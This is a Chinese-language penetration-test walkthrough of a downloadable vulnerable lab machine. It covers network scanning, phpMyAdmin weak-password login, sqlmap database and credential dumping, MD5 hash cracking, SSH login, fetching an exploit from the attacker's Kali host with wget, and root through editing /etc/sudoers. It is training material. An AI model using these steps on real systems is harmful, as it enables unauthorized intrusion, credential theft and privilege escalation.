环境

主机	ip
kaliLinux	192.168.101.62（桥接）
靶机-4	未知

靶机

https://pan.baidu.com/s/1OdlzNEPNMPw0JHDzyyMBEA
提取码：1234

打开靶机

渗透测试

主机探测
netdiscover -i eth1 -r 192.168.101.0/24 

可以看到靶机地址为192.168.101.75

收集信息

使用dirb目录爆破

漏洞扫描

nikto -host http://192.168.101.75 

访问web界面

这里可以看到phpadmin版本
尝试弱密码登录
尝试发现

admin+空密码登录
‘localhost’@'@” +空密码

判断数据库是否有写权限

show variables like '%secure%';

secure_file_priv #为空没有写入权限

show variables like '%datadir%'; #获取数据库路径

这里用了好几种注入方式，都失败了，这里不再列举。

第二天这里ip发送了一点变化192.168.101.76

查看phpmyadmin日志发现注入点
使用sql注入方式

http://192.168.101.76/gallery/gallery.php?id=1

我们使用sqlmap 查找数据库

sqlmap -u http://192.168.101.76/gallery/gallery.php?id=1 --dbs --batch

查看gallery里的表

sqlmap -u http://192.168.101.76/gallery/gallery.php?id=1 -D gallery --tables --batch

查看dev_accounts内字段

sqlmap -u http://192.168.101.76/gallery/gallery.php?id=1 -D gallery -T dev_accounts --columns --batch

查找字段值

sqlmap -u http://192.168.101.76/gallery/gallery.php?id=1 -D gallery -T dev_accounts -C username,password --dump --batch

这里sqlmap已经把md5值找到了，如果没有就看下面步骤

vim md5.txt
cat md5.txt   
dreg:0d3eccfb887aabd50f243b3f155c0f85
loneferret:5badcaf789d3d1d09794d8f021f40f0e
john --format=raw-MD5 md5.txt也可以直接在网上找

上面查找数据库可以看到还有个users表
查找gallarific_users表字段

sqlmap -u http://192.168.101.76/gallery/gallery.php?id=1 -D gallery -T gallarific_users --columns --batch

查询字段值 username,password

sqlmap -u http://192.168.101.76/gallery/gallery.php?id=1 -D gallery -T gallarific_users -C username,password --dump --batch

因为nmap探测到22端口ssh是开放的可以直接进行登录

ssh dreg@192.168.101.76
输入密码Mast3r

这里权限不够

提权


下载提权脚本到kali中开启httpd提供下载

wget http://192.168.101.62/5093.c
gcc 5093.c
./a.out
提权失败了

换用户登录继续提权

ssh loneferret@192.168.101.76
starwars
export TERM=xterm-color

sudo ht
按f3输入/etc/sudoers 
回车后
修改loneferret 在末尾加上 ,/bin/bash
F10保存

sudo /bin/bash
id
uid=0(root) gid=0(root) groups=0(root)